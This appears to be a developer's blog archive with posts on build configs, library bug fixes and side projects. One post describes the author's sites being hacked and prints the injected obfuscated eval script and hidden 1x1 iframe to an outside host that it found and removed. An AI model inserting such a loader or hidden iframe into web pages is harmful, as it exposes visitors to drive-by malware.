Sublime Text 2 Grunt Build
Kick off a grunt build from within Sublime Text 2:
{
"cmd": ["grunt"],
"working_dir": "/Users/[your username]/[your project path]",
"shell": true
}
It took me a bit to figure out how to actually make a grunt build run from within SublimeText 2, so I wanted to capture it here for anyone else trying to figure it out. Google really didn't help me at all...
The key is the working directory thing. You can't use "~/", you have to actually use the full path to your directory that you normally kick your grunt builds off from. I found one place on stackoverflow where it recommended adding this after "grunt":
, "--no-color"
but it didn't change the output for me at all.
You put this code in a file you create by clicking "tools" > "build system" > "new build system". Then whatever you name the file when you save it will be the name of the "build system". You can hit "cmd B" to build it or select "tools" > "build system" > "whatever you named it"
dynode Batch Get Item

Working a lot with node.js, dynode and dynamoDB recently. Still trying to wrap my head around it all. Had a horrible time getting dynode.batchGetItem to work. Here is the error I was getting:
{ name: 'AmazonError',
type: 'ValidationException',
serviceName: 'com.amazon.coral.validate',
message: 'One or more parameter values were invalid: Mismatching attribute types between location and schema',
statusCode: 400,
retry: [Getter] }
Basically it came down to that the range selector I was using was being passed through as a string instead of a number. This is *even though* I am chaining queries, having just gotten the range selector out of another table and am immediately using it in the query that is failing. The way I was able to fix it was by casting it from a string into a number (the way Amazon expects it to come across):
results.Items.forEach(function(element, index, array){
console.log(element);
element.events.SS.forEach(function(ielement, iindex, iarray){
var batchVars = {"events": {keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}};
dynode.batchGetItem(batchVars, events.debugOutput);
}, query);
}, query);
The crucial part here being this line:
{keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}
Note the "parseInt" function there that gets run on the timestamp that was pulled out of the previous query results. That's the key to getting this to work.
UPDATE:
The dynode author asked me to submit an issue, so, I did!
https://github.com/Wantworthy/dynode/issues/18
I had just assumed this was a quirk of the library. I feel way too new to all of this to know what is a bug and what is just me doing something stupidly...
WP phpBB Bridge: Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given

Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149
This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places.
For instance, in this case the plugin authors don't expect you to be using a socket instead of a port. Looking at the documentation for mysql-pconnect you see that you can either use combination of hostname:port or hostname:socket. Since they are pulling the setup info straight from the phpBB config file, you have little to no control over the values there (especially if already configured).
What they ought to do is check to see if $port isset() && !empt() and only then append the ":" . $port. But instead, they tag on ":" to your db host EVERY TIME. This breaks your setup if you host is defined in phpBB with a socket. Most of what I just said sort of sounds like gibberish even to me, so, basically, if you are getting this error, the problem is actually line 147. Replace the current line 147 with this:
Events Calendar Pro Nav Formatting Messed up on Empty Calendar
The Events Calendar Pro (from http://tri.be/) has a few problems.
If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop):
$thisisherebecausethispluginSUCKSdontremoveit = has_excerpt() ? TribeEvents::truncate($post->post_excerpt) : TribeEvents::truncate(get_the_content(), 30);
This basically just runs some "truncate" function on the "TribeEvents" object. For some reason this truncate function magically fixes the header nav display issues.
OH SHNIKES, WE’VE BEEN HAXORED!!!

Yes. It finally happened. After... 6 years? on the web I finally got hacked.
Two domains affected:
http://cmcculloh.com
http://hallelujahbutton.com
(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).
This morning I went to my site and was told by Chrome that I wasn't allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that's how it felt).
Here's the screen I saw:

THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised.
It took me quite a while to figure out what the culprit was (and I'm still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))</script>
<iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"></iframe>
(I added a line break for legibility)
EEEEEWWWW!!!!!! I got pwned!!!
Not 100% sure if it is the iframe *and* the script, or just the iframe.
How did I fix it?
ssh'ed into the site and ran this command "grep -ir function\(p,a,c,k,e,d\) *". Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on "function(p,a,c,k,e,d)" again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.
So, how did this happen? Who knows. I definitely wasn't the only one. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don't know anything about security, and a good 20 of them probably use "password1" as their password. If any of those people got hacked, it's just a small step once you're on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don't know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It's not hard. USE A GOOD PASSWORD and DON'T REUSE IT ACROSS SITES).
So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON'T click the "proceed anyway" link. Because I'm just a guy and I could still be infected and not know it. Always just click the "go back" button. Once Google has OK'd it, the site will become available (as hallelujahbutton.com now has).
THANK YOU GOOGLE!!! YOU'RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.
Also, I've deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!
Teaser of things to come…

Lots going on at ChomperStomp right now.
I've been up to my eyeballs in work and in babies (3 month old and 2.5 year old).
Here's a little teaser for something big I'm working on:




That's right, custom user ratings in Continuum Coming November 1st! (will require either Continuum 1.9 or Continuum Refactor 11.1101, both coming 11/01/11)
Haven't settled on the price yet, probably between $50 and $100 depending on how much longer it takes...
Introducing GitScripts

GitScripts is a project that attempts to make Git user friendly.
I have been working on it for almost a year now. When we implemented Git in my office, we were having a really hard time using it. We loved the flexibility of the tool, but the interface was killing us. Doing something that should have been simple (merging one branch into another) was much too complex. Especially for people who were already struggling to remember how to use CVS through a GUI. These were very competent Java developers who just didn't have time to learn a new complex tool, but recognized we needed it.
One day my co-worker jokingly demanded that I write a set of wrapper scripts that would make the merge command comprehensible (he continually tried to merge one branch into another by checking out the branch he wanted to merge FROM and typing "git merge branch_to_merge_to", which had the disastrous result of silently doing the exact OPPOSITE of what he was trying to do. At which point he would happily push to origin. This would result in a lot of lost time, especially if we didn't catch it right away. When you are already expending a lot of brain power on a ATG/ReD/PayPal integration project, you just don't have anything left for learning a new SCM.). So I thought about it and realized that it SHOULDN'T MATTER what branch you are on, you should just be able to tell Git what you want to happen (merge branch1 into branch2) and Git should intelligently DO IT and then put you back where you were. So I made it happen.
This project is under continual development. I add something new to it every week as I find a new Git task pattern that I can automate. It finally got to the point where I couldn't stand using Git without GitScripts, so I stripped out all of the company specific pieces and threw the whole thing up on GitHub. I'm hoping that much smarter people than me can take this code and run with it and make it even more amazing. See the project page for some very basic documentation (more to come, haha, as always...) or, better yet, pop open the github repository and view the "bash_profile_config" file to see all of the different commands (aliases) currently available.
Let me know what you think! Post any bugs/questions/feature requests on the project page please.
Updates – Tab Edit 1.4, Abandoning JS Console, Limeberry news

It's apparently Code Blitz week here at Chomperstomp.com HQ. We've seen 5 blog posts in the last week, and code commits to no less than 4 open source projects (plus tons behind the scenes that I won't talk about just yet, but some neat stuff is coming...)
I finally fixed the Tab Edit Chrome Extension. Update and click "Restore Defaults" and it will work again. Still working on the problem of it not persisting the favicon selection though.
I have officially abandoned work on the JS Console Chrome Extension. It's absolutely pointless. Just hold shift when you hit enter while using the native JS Console and you can get multi-line functionality. That was the whole point of JS Console, so once I discovered this, I abandoned the project. I forgot to ever let anyone know though, so this is me making it official. I've made notes in all other relevant places as well.
Limeberry is coming along just swell. I've made some major improvements today. Gradient history swatches that when you hover over you can retrieve previous gradient code. Ditched all the PHP based code in favor of JS. Gave ability to change the number of gradient stops on the fly without a page reload (still doesn't preserve your previous stops/colors). LOTS more work to come on this. The more observant of you may notice that I'm updating the URL on the fly as you make changes. Yes, that's right, very very soon you will be able to bookmark swatches you create (or email/IM links) so you can save/load swatches. This is the project I'm most excited about right now, so this will be getting some love over the next few weeks. I'm hoping to turn this into a really nifty tool and even plop down the $10 I need to get it it's own domain. I've possibly even got another dev on board to design the page (rather than it just being ugly as hell the way it is now). Much much more to come...
Introducing Limeberry

Limeberry is a CSS 3 Finely Granular Color Gradient Generator. It allows you to input very precise (up to the nth decimal) numeric values to be used as your gradient color stops. Choose how many color stops you want and then define what colors you want at those stops.
This is definitely early beta. It's functional, but only just (but hey, I did it in an hour over my lunch break).
Check out the project page to see the roadmap and for info on how to contribute (this is an open source project).
This was developed with Chrome, but early testers have informed me it works with Firefox and Opera as well (yay!).






